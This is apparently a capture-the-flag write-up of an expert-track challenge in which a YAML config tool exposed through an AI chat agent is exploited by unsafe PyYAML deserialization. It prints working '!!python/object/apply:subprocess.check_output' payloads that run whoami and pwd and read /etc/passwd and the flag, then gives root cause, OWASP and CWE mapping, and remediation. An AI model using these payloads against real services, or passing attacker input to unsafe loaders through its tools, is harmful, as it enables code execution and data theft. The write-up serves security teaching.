The Shape Shifter
| Field | Detail |
|---|---|
| Track | Expert |
| Classification | Insecure YAML deserialization leading to remote code execution |
1. Result
Section titled “1. Result”Flag obtained: flag-e4498e
Status: Mission accomplished. "level_completed": true
The configuration processor deserialized attacker-controlled YAML with an unsafe PyYAML loader. !!python/object/apply:subprocess.check_output executed cat flag.txt and returned the file contents in the configuration summary.
Winning payload:
{ "message": "!!python/object/apply:subprocess.check_output\n- [\"cat\", \"flag.txt\"]"}API response (excerpt):
Value: b'flag-e4498e'level_completed: true

Configuration processor reconnaissance:

Successful whoami execution:

Working directory obtained with pwd:

/etc/passwd read (arbitrary file access):

Flag recovered:

Level complete:

Confirmed result
Section titled “Confirmed result”Command execution: CONFIRMEDExecution account: mcpuserFlag: flag-e4498e2. Exploit
Section titled “2. Exploit”The target provides a configuration-processing function that accepts YAML and returns a summary of the parsed configuration.
The intended functionality is to process configuration data. Testing demonstrated that the underlying YAML parser accepts Python-specific object construction tags.
Under an unsafe PyYAML loader, the following YAML tag:
!!python/object/applycan invoke a Python callable during deserialization.
subprocess.check_output was selected because it executes a process and returns its standard output as a bytes object. The configuration processor then included the resulting object value in its response.
The exploitation process consisted of:
- Identify the available configuration-processing tool.
- Confirm that ordinary YAML is accepted.
- Test a Python-specific YAML constructor.
- Execute
whoamito prove code execution. - Execute
pwdto establish the process working directory. - Read
/etc/passwd, thenflag.txt, with the same primitive.
2.1 Identify the configuration-processing interface
Section titled “2.1 Identify the configuration-processing interface”Prompt:
list tools and usuageRationale:
The first step was to determine which tool accepts the configuration and what input format it expects.
The response identified:
process_configwith a description indicating that it processes and validates YAML and returns a summary of the resulting settings.
The interface also exposed:
multi_tool_use.parallelThe agent then instructed the user to provide YAML configuration.

2.2 Confirm normal YAML processing
Section titled “2.2 Confirm normal YAML processing”A basic YAML document was submitted before attempting any special constructors.
Payload:
name: testvalue: 123Rationale:
The document contains only ordinary YAML types.
This establishes that the processor accepts attacker-controlled YAML and that the application processes the resulting object rather than requiring a predefined serialized file.
The configuration was accepted and summarized successfully.
This established the baseline behavior needed to distinguish an ordinary YAML parsing failure from unsafe object construction.
2.3 Execute a command through a Python YAML constructor
Section titled “2.3 Execute a command through a Python YAML constructor”The next payload used the PyYAML-specific !!python/object/apply constructor.
Payload:
!!python/object/apply:subprocess.check_output- whoamiThe same payload was submitted to the API as:
{ "message": "!!python/object/apply:subprocess.check_output\n- whoami"}Rationale:
!!python/object/apply is a Python-specific YAML constructor supported by unsafe PyYAML loaders. It causes the loader to invoke the referenced callable using the supplied sequence as its arguments.
subprocess.check_output was selected because it provides a clear execution primitive while returning command output directly to the application.
whoami was chosen as the initial command because it provides a deterministic proof of execution and identifies the account under which the service is running.
This avoids prematurely relying on a particular filesystem location.
API response:
{ "success": true, "response": "Configuration processed successfully.\n\nSummary:\n- Type: bytes\n- Value: b'mcpuser\\n'\n\nIf you have more YAML configurations to process or need further details, feel free to share!", "level_completed": false}The output:
b'mcpuser\n'proves that the command executed and that its standard output was returned through the configuration summary.

Conclusion:
Remote command execution was confirmed.
The command executed with the privileges of:
mcpuser2.4 Determine the working directory
Section titled “2.4 Determine the working directory”The same deserialization primitive was used to execute pwd.
Payload:
{ "message": "!!python/object/apply:subprocess.check_output\n- pwd"}Rationale:
The flag filename was not yet known to be located relative to the current process directory.
Determining the current working directory avoids assuming that:
flag.txtexists in the process’s current directory.
The same known execution primitive was reused so that the test did not introduce a new variable.
API response excerpt:
Value returned: b'/app/tmp/tmph82qs42l\n'The service therefore executes commands from:
/app/tmp/tmph82qs42l
This also explains why a relative path such as flag.txt could produce a false negative if the flag is stored elsewhere.
2.5 Read files, including the flag
Section titled “2.5 Read files, including the flag”subprocess.check_output accepts an argument vector. In YAML that is a sequence after the constructor tag. A nested JSON list in the chat message field is equivalent:
!!python/object/apply:subprocess.check_output- cat- flag.txtPayload (arbitrary file read):
{ "message": "!!python/object/apply:subprocess.check_output\n- [\"cat\", \"/etc/passwd\"]"}API response: "success": true. The summary contained /etc/passwd content as bytes. "level_completed": false at this step because the flag had not yet been read.

Payload (flag):
{ "message": "!!python/object/apply:subprocess.check_output\n- [\"cat\", \"flag.txt\"]"}API response:
{ "success": true, "response": "Configuration processed successfully.\nType: bytes\nValue: b'flag-e4498e'\n...", "level_completed": true}

Exploit status
Section titled “Exploit status”| Test | Result |
|---|---|
| User-controlled YAML accepted | Confirmed |
| Python YAML constructor accepted | Confirmed |
subprocess.check_output invoked | Confirmed |
| OS command execution | Confirmed |
| Execution identity | mcpuser |
| Working directory | /app/tmp/tmph82qs42l |
| Arbitrary file read | /etc/passwd |
| Flag recovered | flag-e4498e |
3. Root Cause
Section titled “3. Root Cause”The root cause is unsafe deserialization of attacker-controlled YAML using a PyYAML loader that permits Python object construction.
The application intends to process configuration data. Instead, the YAML parser is capable of reconstructing Python objects and invoking Python callables during deserialization.
This converts a data-processing feature into a code-execution primitive.
3.1 Unsafe PyYAML deserialization
Section titled “3.1 Unsafe PyYAML deserialization”A secure YAML parser should treat user-supplied configuration as data.
An unsafe PyYAML loader can interpret Python-specific tags such as:
!!python/object/applyand use them to construct or invoke Python objects.
The successful invocation of:
subprocess.check_outputdemonstrates that the loader was operating with capabilities beyond ordinary YAML parsing.
3.2 User-controlled data reaches a code-execution primitive
Section titled “3.2 User-controlled data reaches a code-execution primitive”The attacker controls the complete YAML document.
The application then passes that document into the YAML deserialization layer.
The effective security boundary is therefore:
Attacker-controlled YAML ↓YAML parser ↓Python object construction ↓Callable invocation ↓Operating-system commandThe vulnerability exists before the language model’s response formatting occurs.
The model is only the delivery interface. The underlying parser is responsible for executing the attacker-controlled constructor.
3.3 Output formatting amplified the vulnerability
Section titled “3.3 Output formatting amplified the vulnerability”The configuration processor returns a summary containing both the resulting object type and value.
That behavior is harmless for ordinary configuration values.
However, after deserialization executes:
subprocess.check_outputthe returned bytes object contains command output.
The application therefore reflects the result of the attacker-controlled command back to the user:
Type: bytesValue: b'mcpuser\n'This made exploitation straightforward and removed the need for a separate blind-execution channel.
Root cause summary
Section titled “Root cause summary”The vulnerability results from:
- Accepting attacker-controlled YAML.
- Deserializing the YAML with an unsafe PyYAML loader.
- Allowing Python-specific constructors.
- Allowing constructors to invoke arbitrary Python callables.
- Providing access to
subprocess.check_output. - Returning the resulting command output to the attacker.
The fundamental security failure is deserialization of untrusted data with executable Python object support.
4. Impact and Severity
Section titled “4. Impact and Severity”Severity: Critical
Remote code execution was directly demonstrated on the configuration-processing service.
The attacker can execute operating-system commands as the service account:
mcpuserThe working directory was confirmed as:
/app/tmp/tmph82qs42lConfidentiality impact
Section titled “Confidentiality impact”The demonstrated execution primitive can potentially access any files readable by mcpuser.
This may include:
- application configuration;
- environment data;
- credentials;
- API tokens;
- source code;
- temporary files;
- service configuration;
- other secrets accessible to the process.
/etc/passwd and flag.txt were both read through the same primitive. The flag value returned in the summary was flag-e4498e.
Integrity impact
Section titled “Integrity impact”Because the attacker can execute arbitrary commands in the service context, files and other resources writable by mcpuser may potentially be modified.
The exact extent depends on the permissions and isolation of the execution environment.
Availability impact
Section titled “Availability impact”Arbitrary command execution can potentially be abused to consume CPU, memory, disk space, or other resources available to the compromised service.
The actual availability impact was not tested during the challenge.
Attacker capabilities demonstrated
Section titled “Attacker capabilities demonstrated”| Capability | Demonstrated |
|---|---|
| Submit attacker-controlled YAML | Yes |
| Trigger Python object construction | Yes |
Invoke subprocess.check_output | Yes |
| Execute OS commands | Yes |
| Obtain command output | Yes |
| Identify service account | Yes |
| Determine working directory | Yes |
| Read arbitrary files | Yes (/etc/passwd, flag.txt) |
Recover flag.txt | Yes (flag-e4498e) |
The appropriate severity is Critical because remote code execution and arbitrary file read were demonstrated. This report does not claim persistence or full host compromise.
5. Mapping
Section titled “5. Mapping”| Framework | Category | Relevance |
|---|---|---|
| OWASP Top 10:2021 | A08: Software and Data Integrity Failures | Untrusted serialized data is processed in a way that permits executable Python object construction. |
| OWASP Top 10 for LLM Applications 2025 | LLM06: Excessive Agency | A configuration-processing capability has access to operating-system command execution far beyond the intended configuration-processing task. |
| OWASP Top 10 for LLM Applications 2025 | LLM02: Sensitive Information Disclosure | Command output is reflected through the configuration summary, and the execution primitive can potentially access data available to the service account. |
| OWASP Top 10 for LLM Applications 2023 | LLM07: Insecure Plugin Design | The backend tool accepts attacker-controlled input and performs unsafe deserialization without an appropriate execution boundary. |
| CWE-502 | Deserialization of Untrusted Data | Attacker-controlled YAML is deserialized using functionality capable of constructing executable Python objects. |
| CWE-78 | Improper Neutralization of Special Elements used in an OS Command | The deserialization vulnerability ultimately provides an OS command-execution primitive through subprocess.check_output. |
Primary classification
Section titled “Primary classification”Insecure YAML Deserialization leading to Remote Code Execution
The central vulnerability is not the specific whoami payload.
The fundamental problem is that the configuration processor treats attacker-controlled YAML as trusted serialized Python data and permits Python-specific constructors to execute during deserialization.
The successful invocation of:
subprocess.check_outputprovides direct evidence of remote code execution.
Remediation
Section titled “Remediation”The application should:
- Use
yaml.safe_load()for untrusted YAML. - Do not use
yaml.load()with unsafe loaders on attacker-controlled data. - Explicitly reject
!!python/*constructors. - Prefer a restricted configuration format such as JSON when YAML-specific functionality is unnecessary.
- Validate the resulting data against an explicit schema.
- Run configuration processing with a dedicated low-privilege service account.
The most important remediation is to ensure that configuration parsing remains a data deserialization operation and cannot invoke arbitrary Python code.